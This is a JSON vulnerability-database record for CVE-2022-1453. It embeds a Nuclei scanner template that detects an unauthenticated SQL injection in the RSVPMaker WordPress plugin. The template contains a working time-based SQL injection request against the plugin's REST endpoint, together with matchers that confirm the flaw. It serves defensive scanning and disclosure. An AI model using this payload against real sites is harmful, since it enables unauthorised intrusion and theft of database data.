{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2022-1453/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2022-1453/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2022-1453/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2022-1453/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2022-1453/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2022-1453/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2022-1453"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2022-1453"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2022/CVE-2022-1453.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2022-1453\n\ninfo:\n  name: RSVPMaker <= 9.2.5 - SQL Injection\n  author: Shivam Kamboj\n  severity: critical\n  description: |\n    The RSVPMaker plugin for WordPress is vulnerable to unauthenticated SQL Injection due to missing SQL escaping and parameterization on user supplied data passed to a SQL query in the rsvpmaker-util.php file. This makes it possible for unauthenticated attackers to steal sensitive information from the database in versions up to and including 9.2.5.\n  impact: |\n    Attackers can retrieve sensitive data from the database without authentication, leading to data breach and privacy violations.\n  remediation: |\n    Update to version 9.2.6, or later\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/rsvpmaker/rsvpmaker-925-unauthenticated-sql-injection\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-1453\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2022-1453\n    epss-score: 0.06922\n    epss-percentile: 0.94126\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,rsvpmaker,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        GET /wp-json/rsvpmaker/v1/sked/1?post_id=(SELECT%209999%20FROM%20(SELECT(SLEEP(7)))a) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 7'\n          - 'status_code == 200'\n          - 'regex(\"false$\", body)'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n# digest: 490a0046304402204ba14e165492e5f43fde2453caece0c78dfc18621b6c583b2c9d2d95ea3eacfb022014b1d231a0df5652b9cfc942e5f8a9e975fa941ca01ddb41043df3c18396a03f:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2022-1453"
}